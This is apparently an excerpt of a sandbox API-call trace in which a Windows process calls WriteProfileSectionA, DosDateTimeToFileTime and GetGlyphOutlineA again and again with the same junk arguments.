	[0069.322] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.324] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.324] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.324] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.327] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.327] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.327] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.329] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.329] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.329] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.331] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.331] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.331] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.332] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.332] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.333] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.334] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.334] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.334] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.336] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.336] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.336] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.338] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.338] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.338] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.340] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.340] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.340] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.342] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.342] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.342] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.347] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.347] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.347] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.349] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.349] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.349] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.353] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.353] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.353] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.355] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.355] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.355] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.358] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.358] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.358] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.360] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.360] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.360] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.362] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.362] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.362] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.364] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.364] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.364] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.366] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.366] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.366] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.367] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.367] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.368] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.374] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.374] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.374] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.376] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.376] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.376] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.378] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.378] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.378] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.380] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.380] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.380] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.381] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.381] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.381] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.384] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.384] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.384] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.386] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.386] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.386] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.390] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.391] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.391] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.393] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.393] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.393] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.394] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.395] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.395] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.397] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.397] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.397] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.399] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.399] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.399] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.401] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.401] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.401] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.403] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.403] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.403] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.405] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.405] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.405] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.407] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.407] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.407] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.409] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.409] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.409] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.411] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.411] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.411] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.414] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.414] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.414] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.417] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.417] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.417] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.419] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.419] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.419] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.421] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.421] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.421] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.423] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.423] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.423] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.425] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.425] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.425] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.427] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.427] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.427] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.430] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.430] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.430] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.432] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.432] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.432] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.434] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.434] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.434] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.436] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.436] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.436] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.438] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.438] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.438] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.440] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.440] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.440] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.442] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.442] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.442] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.444] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.444] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.444] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.446] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.446] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
